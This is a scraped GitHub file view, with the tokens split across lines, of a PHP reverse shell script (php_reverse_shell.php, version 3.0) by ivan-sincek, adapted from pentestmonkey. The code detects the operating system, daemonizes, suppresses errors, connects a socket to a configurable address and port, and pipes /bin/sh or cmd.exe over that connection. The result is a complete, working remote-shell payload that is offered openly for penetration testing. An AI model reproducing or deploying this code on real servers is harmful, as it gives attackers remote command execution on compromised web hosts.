FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
php-reverse-shell/src/reverse/php_reverse_shell.php at master · ivan-sincek/php-reverse-shell · GitHub
ivan-sincek
/
php-reverse-shell
Public
Notifications
You must be signed in to change notification settings
Fork
157
Star
573
Code
Issues
0
Pull requests
0
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Security and quality
Insights
Expand file tree
Breadcrumbs
php-reverse-shell
/
src
/
reverse
/
php_reverse_shell.php
Copy path
More file actions
More file actions
Latest commit
History
History
History
183 lines (177 loc) · 7.68 KB
Breadcrumbs
php-reverse-shell
/
src
/
reverse
/
php_reverse_shell.php
Copy path
File metadata and controls
183 lines (177 loc) · 7.68 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<?php
// Copyright (c) 2020 Ivan Šincek
// v3.0
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class
Shell {
private
$
addr
=
null
;
private
$
port
=
null
;
private
$
os
=
null
;
private
$
shell
=
null
;
private
$
descriptorspec
=
array
(
0
=>
array
(
'
pipe
'
,
'
r
'
),
// shell can read from STDIN
1
=>
array
(
'
pipe
'
,
'
w
'
),
// shell can write to STDOUT
2
=>
array
(
'
pipe
'
,
'
w
'
)
// shell can write to STDERR
);
private
$
buffer
=
1024
;
// read/write buffer size
private
$
clen
=
0
;
// command length
private
$
error
=
false
;
// stream read/write error
private
$
sdump
=
true
;
// script's dump
public
function
__construct
(
$
addr
,
$
port
) {
$
this
->
addr
=
$
addr
;
$
this
->
port
=
$
port
;
}
private
function
detect
() {
$
detected
=
true
;
$
os
=
strtoupper
(
PHP_OS
);
if
(
stripos
(
$
os
,
'
LINUX
'
) !==
false
||
stripos
(
$
os
,
'
DARWIN
'
) !==
false
) {
$
this
->
os
=
'
LINUX
'
;
$
this
->
shell
=
'
/bin/sh
'
;
}
else
if
(
stripos
(
$
os
,
'
WINDOWS
'
) !==
false
||
stripos
(
$
os
,
'
WINNT
'
) !==
false
||
stripos
(
$
os
,
'
WIN32
'
) !==
false
) {
$
this
->
os
=
'
WINDOWS
'
;
$
this
->
shell
=
'
cmd.exe
'
;
}
else
{
$
detected
=
false
;
echo
"
SYS_ERROR: Underlying operating system is not supported, script will now exit...
\n"
;
}
return
$
detected
;
}
private
function
daemonize
() {
$
exit
=
false
;
if
(!
function_exists
(
'
pcntl_fork
'
)) {
echo
"
DAEMONIZE: pcntl_fork() does not exists, moving on...
\n"
;
}
else
if
((
$
pid
= @
pcntl_fork
()) <
0
) {
echo
"
DAEMONIZE: Cannot fork off the parent process, moving on...
\n"
;
}
else
if
(
$
pid
>
0
) {
$
exit
=
true
;
echo
"
DAEMONIZE: Child process forked off successfully, parent process will now exit...
\n"
;
// once daemonized, you will actually no longer see the script's dump
}
else
if
(
posix_setsid
() <
0
) {
echo
"
DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...
\n"
;
}
else
{
echo
"
DAEMONIZE: Completed successfully!
\n"
;
}
return
$
exit
;
}
private
function
settings
() {
@
error_reporting
(
0
);
@
set_time_limit
(
0
);
// do not impose the script execution time limit
@
umask
(
0
);
// set the file/directory permissions - 666 for files and 777 for directories
}
private
function
dump
(
$
data
) {
if
(
$
this
->
sdump
) {
$
data
=
str_replace
(
'
<
'
,
'
<
'
,
$
data
);
$
data
=
str_replace
(
'
>
'
,
'
>
'
,
$
data
);
echo
$
data
;
}
}
private
function
read
(
$
stream
,
$
name
,
$
bytes
) {
if
((
$
data
= @
fread
(
$
stream
,
$
bytes
)) ===
false
) {
// suppress an error when reading from a closed blocking stream
$
this
->
error
=
true
;
// set the global error flag
echo
"
STRM_ERROR: Cannot read from
{
$
name
}
, script will now exit...
\n"
;
}
return
$
data
;
}
private
function
write
(
$
stream
,
$
name
,
$
data
) {
if
((
$
bytes
= @
fwrite
(
$
stream
,
$
data
)) ===
false
) {
// suppress an error when writing to a closed blocking stream
$
this
->
error
=
true
;
// set the global error flag
echo
"
STRM_ERROR: Cannot write to
{
$
name
}
, script will now exit...
\n"
;
}
return
$
bytes
;
}
// read/write method for non-blocking streams
private
function
rw
(
$
input
,
$
output
,
$
iname
,
$
oname
) {
while
((
$
data
=
$
this
->
read
(
$
input
,
$
iname
,
$
this
->
buffer
)) &&
$
this
->
write
(
$
output
,
$
oname
,
$
data
)) {
if
(
$
this
->
os
===
'
WINDOWS
'
&&
$
oname
===
'
STDIN
'
) {
$
this
->
clen
+=
strlen
(
$
data
); }
// calculate the command length
$
this
->
dump
(
$
data
);
// script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private
function
brw
(
$
input
,
$
output
,
$
iname
,
$
oname
) {
$
size
=
fstat
(
$
input
)[
'
size
'
];
if
(
$
this
->
os
===
'
WINDOWS
'
&&
$
iname
===
'
STDOUT
'
&&
$
this
->
clen
) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// so we need to discard the data from the stream
while
(
$
this
->
clen
>
0
&& (
$
bytes
=
$
this
->
clen
>=
$
this
->
buffer
?
$
this
->
buffer
:
$
this
->
clen
) &&
$
this
->
read
(
$
input
,
$
iname
,
$
bytes
)) {
$
this
->
clen
-=
$
bytes
;
$
size
-=
$
bytes
;
}
}
while
(
$
size
>
0
&& (
$
bytes
=
$
size
>=
$
this
->
buffer
?
$
this
->
buffer
:
$
size
) && (
$
data
=
$
this
->
read
(
$
input
,
$
iname
,
$
bytes
)) &&
$
this
->
write
(
$
output
,
$
oname
,
$
data
)) {
$
size
-=
$
bytes
;
$
this
->
dump
(
$
data
);
// script's dump
}
}
public
function
run
() {
if
(
$
this
->
detect
() && !
$
this
->
daemonize
()) {
$
this
->
settings
();
// ----- SOCKET BEGIN -----
$
socket
= @
fsockopen
(
$
this
->
addr
,
$
this
->
port
,
$
errno
,
$
errstr
,
30
);
if
(!
$
socket
) {
echo
"
SOC_ERROR:
{
$
errno
}
:
{
$
errstr
}\n"
;
}
else
{
stream_set_blocking
(
$
socket
,
false
);
// set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$
process
= @
proc_open
(
$
this
->
shell
,
$
this
->
descriptorspec
,
$
pipes
,
null
,
null
);
if
(!
$
process
) {
echo
"
PROC_ERROR: Cannot start the shell
\n"
;
}
else
{
foreach
(
$
pipes
as
$
pipe
) {
stream_set_blocking
(
$
pipe
,
false
);
// set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$
status
=
proc_get_status
(
$
process
);
@
fwrite
(
$
socket
,
"
SOCKET: Shell has connected! PID:
{
$
status
[
'
pid
'
]}\n"
);
do
{
$
status
=
proc_get_status
(
$
process
);
if
(
feof
(
$
socket
)) {
// check for end-of-file on SOCKET
echo
"
SOC_ERROR: Shell connection has been terminated
\n"
;
break
;
}
else
if
(
feof
(
$
pipes
[
1
]) || !
$
status
[
'
running
'
]) {
// check for end-of-file on STDOUT or if process is still running
echo
"
PROC_ERROR: Shell process has been terminated
\n"
;
break
;
// feof() does not work with blocking streams
}
// use proc_get_status() instead
$
streams
=
array
(
'
read
'
=>
array
(
$
socket
,
$
pipes
[
1
],
$
pipes
[
2
]),
// SOCKET | STDOUT | STDERR
'
write
'
=>
null
,
'
except
'
=>
null
);
$
num_changed_streams
= @
stream_select
(
$
streams
[
'
read
'
],
$
streams
[
'
write
'
],
$
streams
[
'
except
'
],
0
);
// wait for stream changes | will not wait on Windows OS
if
(
$
num_changed_streams
===
false
) {
echo
"
STRM_ERROR: stream_select() failed
\n"
;
break
;
}
else
if
(
$
num_changed_streams
>
0
) {
if
(
$
this
->
os
===
'
LINUX
'
) {
if
(
in_array
(
$
socket
,
$
streams
[
'
read
'
])) {
$
this
->
rw
(
$
socket
,
$
pipes
[
0
],
'
SOCKET
'
,
'
STDIN
'
); }
// read from SOCKET and write to STDIN
if
(
in_array
(
$
pipes
[
2
],
$
streams
[
'
read
'
])) {
$
this
->
rw
(
$
pipes
[
2
],
$
socket
,
'
STDERR
'
,
'
SOCKET
'
); }
// read from STDERR and write to SOCKET
if
(
in_array
(
$
pipes
[
1
],
$
streams
[
'
read
'
])) {
$
this
->
rw
(
$
pipes
[
1
],
$
socket
,
'
STDOUT
'
,
'
SOCKET
'
); }
// read from STDOUT and write to SOCKET
}
else
if
(
$
this
->
os
===
'
WINDOWS
'
) {
// order is important
if
(
in_array
(
$
socket
,
$
streams
[
'
read
'
])
/*------*/
) {
$
this
->
rw
(
$
socket
,
$
pipes
[
0
],
'
SOCKET
'
,
'
STDIN
'
); }
// read from SOCKET and write to STDIN
if
((
$
fstat
=
fstat
(
$
pipes
[
2
])) &&
$
fstat
[
'
size
'
]) {
$
this
->
brw
(
$
pipes
[
2
],
$
socket
,
'
STDERR
'
,
'
SOCKET
'
); }
// read from STDERR and write to SOCKET
if
((
$
fstat
=
fstat
(
$
pipes
[
1
])) &&
$
fstat
[
'
size
'
]) {
$
this
->
brw
(
$
pipes
[
1
],
$
socket
,
'
STDOUT
'
,
'
SOCKET
'
); }
// read from STDOUT and write to SOCKET
}
}
}
while
(!
$
this
->
error
);
// ------ WORK END ------
foreach
(
$
pipes
as
$
pipe
) {
fclose
(
$
pipe
);
}
proc_close
(
$
process
);
}
// ------ SHELL END ------
fclose
(
$
socket
);
}
// ------ SOCKET END ------
}
}
}
echo
'
<pre>
'
;
// change the host address and/or port number as necessary
$
sh
=
new
Shell
(
'
127.0.0.1
'
,
9000
);
$
sh
->
run
();
unset(
$
sh
);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo
'
</pre>
'
;
?>
Back
|
FazBrowse Home
|
New Git URL